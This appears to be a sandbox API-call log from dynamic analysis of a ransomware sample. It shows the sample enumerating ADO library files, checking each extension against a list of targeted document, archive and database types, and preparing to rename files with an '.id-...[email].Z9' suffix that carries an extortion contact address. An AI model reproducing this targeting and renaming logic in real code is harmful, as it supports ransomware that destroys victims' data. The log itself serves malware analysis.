	[0091.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.956] lstrlenW (lpString=".1cd") returned 4
	[0091.956] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0091.956] lstrlenW (lpString=".jpg") returned 4
	[0091.956] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.956] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0091.956] lstrlenW (lpString="msado20.tlb") returned 11
	[0091.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0091.957] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=50688) returned 1
	[0091.957] CloseHandle (hObject=0x388) returned 1
	[0091.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20
	[0091.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.979] lstrlenW (lpString=".doc") returned 4
	[0091.979] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.979] lstrlenW (lpString=".docx") returned 5
	[0091.979] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0091.979] lstrlenW (lpString=".pdf") returned 4
	[0091.979] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.979] lstrlenW (lpString=".xls") returned 4
	[0091.980] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.980] lstrlenW (lpString=".xlsx") returned 5
	[0091.980] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0091.980] lstrlenW (lpString=".ppt") returned 4
	[0091.980] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.980] lstrlenW (lpString=".zip") returned 4
	[0091.980] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.980] lstrlenW (lpString=".rar") returned 4
	[0091.980] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.980] lstrlenW (lpString=".bz2") returned 4
	[0091.980] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.980] lstrlenW (lpString=".7z") returned 3
	[0091.980] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.980] lstrlenW (lpString=".dbf") returned 4
	[0091.980] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.980] lstrlenW (lpString=".1cd") returned 4
	[0091.980] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.980] lstrlenW (lpString=".jpg") returned 4
	[0091.980] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.980] lstrlenW (lpString=".doc") returned 4
	[0091.980] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.980] lstrlenW (lpString=".docx") returned 5
	[0091.980] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0091.980] lstrlenW (lpString=".pdf") returned 4
	[0091.980] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.980] lstrlenW (lpString=".xls") returned 4
	[0091.980] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.980] lstrlenW (lpString=".xlsx") returned 5
	[0091.980] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0091.981] lstrlenW (lpString=".ppt") returned 4
	[0091.981] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.981] lstrlenW (lpString=".zip") returned 4
	[0091.981] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.981] lstrlenW (lpString=".rar") returned 4
	[0091.981] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.981] lstrlenW (lpString=".bz2") returned 4
	[0091.981] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.981] lstrlenW (lpString=".7z") returned 3
	[0091.981] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.981] lstrlenW (lpString=".dbf") returned 4
	[0091.981] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.981] lstrlenW (lpString=".1cd") returned 4
	[0091.981] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0091.981] lstrlenW (lpString=".jpg") returned 4
	[0091.981] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.981] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0091.981] lstrlenW (lpString="msado26.tlb") returned 11
	[0091.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0091.983] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=70656) returned 1
	[0091.983] CloseHandle (hObject=0x300) returned 1
	[0091.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20
	[0091.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.983] lstrlenW (lpString=".doc") returned 4
	[0091.983] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.983] lstrlenW (lpString=".docx") returned 5
	[0091.983] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1
	[0091.983] lstrlenW (lpString=".pdf") returned 4
	[0091.983] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.983] lstrlenW (lpString=".xls") returned 4
	[0091.983] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.983] lstrlenW (lpString=".xlsx") returned 5
	[0091.983] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1
	[0091.983] lstrlenW (lpString=".ppt") returned 4
	[0091.983] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.984] lstrlenW (lpString=".zip") returned 4
	[0091.984] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.984] lstrlenW (lpString=".rar") returned 4
	[0091.984] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.984] lstrlenW (lpString=".bz2") returned 4
	[0091.984] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.984] lstrlenW (lpString=".7z") returned 3
	[0091.984] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.984] lstrlenW (lpString=".dbf") returned 4
	[0091.984] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.984] lstrlenW (lpString=".1cd") returned 4
	[0091.984] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.984] lstrlenW (lpString=".jpg") returned 4
	[0091.984] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.984] lstrlenW (lpString=".doc") returned 4
	[0091.984] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.984] lstrlenW (lpString=".docx") returned 5
	[0091.984] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1
	[0091.984] lstrlenW (lpString=".pdf") returned 4
	[0091.984] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.984] lstrlenW (lpString=".xls") returned 4
	[0091.984] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.984] lstrlenW (lpString=".xlsx") returned 5
	[0091.984] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1
	[0091.984] lstrlenW (lpString=".ppt") returned 4
	[0091.984] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.984] lstrlenW (lpString=".zip") returned 4
	[0091.984] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.984] lstrlenW (lpString=".rar") returned 4
	[0091.985] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.985] lstrlenW (lpString=".bz2") returned 4
	[0091.985] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.985] lstrlenW (lpString=".7z") returned 3
	[0091.985] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.985] lstrlenW (lpString=".dbf") returned 4
	[0091.985] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.985] lstrlenW (lpString=".1cd") returned 4
	[0091.985] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0091.985] lstrlenW (lpString=".jpg") returned 4
	[0091.985] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.985] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0091.985] lstrlenW (lpString="msado27.tlb") returned 11
	[0091.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0091.988] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=71168) returned 1
	[0091.988] CloseHandle (hObject=0x300) returned 1
	[0091.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20
	[0091.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.992] lstrlenW (lpString=".doc") returned 4
	[0091.992] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.992] lstrlenW (lpString=".docx") returned 5
	[0091.992] lstrcmpiW (lpString1=".docx", lpString2="7.tlb") returned -1
	[0091.992] lstrlenW (lpString=".pdf") returned 4
	[0091.992] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.992] lstrlenW (lpString=".xls") returned 4
	[0091.992] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.992] lstrlenW (lpString=".xlsx") returned 5
	[0091.992] lstrcmpiW (lpString1=".xlsx", lpString2="7.tlb") returned -1
	[0091.992] lstrlenW (lpString=".ppt") returned 4
	[0091.992] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.992] lstrlenW (lpString=".zip") returned 4
	[0091.992] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.992] lstrlenW (lpString=".rar") returned 4
	[0091.992] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.992] lstrlenW (lpString=".bz2") returned 4
	[0091.992] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.992] lstrlenW (lpString=".7z") returned 3
	[0091.992] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.992] lstrlenW (lpString=".dbf") returned 4
	[0091.992] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.992] lstrlenW (lpString=".1cd") returned 4
	[0091.992] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.992] lstrlenW (lpString=".jpg") returned 4
	[0091.992] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.993] lstrlenW (lpString=".doc") returned 4
	[0091.993] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.993] lstrlenW (lpString=".docx") returned 5
	[0091.993] lstrcmpiW (lpString1=".docx", lpString2="7.tlb") returned -1
	[0091.993] lstrlenW (lpString=".pdf") returned 4
	[0091.993] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.993] lstrlenW (lpString=".xls") returned 4
	[0091.993] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.993] lstrlenW (lpString=".xlsx") returned 5
	[0091.993] lstrcmpiW (lpString1=".xlsx", lpString2="7.tlb") returned -1
	[0091.993] lstrlenW (lpString=".ppt") returned 4
	[0091.993] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.993] lstrlenW (lpString=".zip") returned 4
	[0091.993] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.993] lstrlenW (lpString=".rar") returned 4
	[0091.993] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.993] lstrlenW (lpString=".bz2") returned 4
	[0091.993] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.993] lstrlenW (lpString=".7z") returned 3
	[0091.993] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.993] lstrlenW (lpString=".dbf") returned 4
	[0091.993] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.993] lstrlenW (lpString=".1cd") returned 4
	[0091.993] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0091.993] lstrlenW (lpString=".jpg") returned 4
	[0091.993] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.994] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0091.994] lstrlenW (lpString="msadomd.dll") returned 11
	[0091.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.002] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=364032) returned 1
	[0092.002] CloseHandle (hObject=0x300) returned 1
	[0092.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20
	[0092.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.005] lstrlenW (lpString=".doc") returned 4
	[0092.005] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.005] lstrlenW (lpString=".docx") returned 5
	[0092.005] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0092.005] lstrlenW (lpString=".pdf") returned 4
	[0092.005] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.005] lstrlenW (lpString=".xls") returned 4
	[0092.005] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.005] lstrlenW (lpString=".xlsx") returned 5
	[0092.005] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0092.005] lstrlenW (lpString=".ppt") returned 4
	[0092.005] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.005] lstrlenW (lpString=".zip") returned 4
	[0092.005] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.006] lstrlenW (lpString=".rar") returned 4
	[0092.006] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.006] lstrlenW (lpString=".bz2") returned 4
	[0092.006] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.006] lstrlenW (lpString=".7z") returned 3
	[0092.006] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.006] lstrlenW (lpString=".dbf") returned 4
	[0092.006] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.006] lstrlenW (lpString=".1cd") returned 4
	[0092.006] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.006] lstrlenW (lpString=".jpg") returned 4
	[0092.006] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.006] lstrlenW (lpString=".doc") returned 4
	[0092.006] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.006] lstrlenW (lpString=".docx") returned 5
	[0092.006] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0092.006] lstrlenW (lpString=".pdf") returned 4
	[0092.006] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.006] lstrlenW (lpString=".xls") returned 4
	[0092.006] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.006] lstrlenW (lpString=".xlsx") returned 5
	[0092.006] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0092.006] lstrlenW (lpString=".ppt") returned 4
	[0092.006] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.007] lstrlenW (lpString=".zip") returned 4
	[0092.007] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.007] lstrlenW (lpString=".rar") returned 4
	[0092.007] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.007] lstrlenW (lpString=".bz2") returned 4
	[0092.007] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.007] lstrlenW (lpString=".7z") returned 3
	[0092.007] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.007] lstrlenW (lpString=".dbf") returned 4
	[0092.007] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.007] lstrlenW (lpString=".1cd") returned 4
	[0092.007] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0092.007] lstrlenW (lpString=".jpg") returned 4
	[0092.007] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.007] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0092.007] lstrlenW (lpString="msadox28.tlb") returned 12
	[0092.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.012] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=24576) returned 1
	[0092.012] CloseHandle (hObject=0x300) returned 1
	[0092.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20
	[0092.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.016] lstrlenW (lpString=".doc") returned 4
	[0092.016] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0092.016] lstrlenW (lpString=".docx") returned 5
	[0092.016] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0092.016] lstrlenW (lpString=".pdf") returned 4
	[0092.016] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0092.016] lstrlenW (lpString=".xls") returned 4
	[0092.016] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0092.016] lstrlenW (lpString=".xlsx") returned 5
	[0092.016] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0092.016] lstrlenW (lpString=".ppt") returned 4
	[0092.016] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0092.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.016] lstrlenW (lpString=".zip") returned 4
	[0092.016] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0092.016] lstrlenW (lpString=".rar") returned 4
	[0092.016] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0092.016] lstrlenW (lpString=".bz2") returned 4
	[0092.017] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0092.017] lstrlenW (lpString=".7z") returned 3
	[0092.017] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0092.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.017] lstrlenW (lpString=".dbf") returned 4
	[0092.017] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0092.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.017] lstrlenW (lpString=".1cd") returned 4
	[0092.017] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0092.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.017] lstrlenW (lpString=".jpg") returned 4
	[0092.017] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
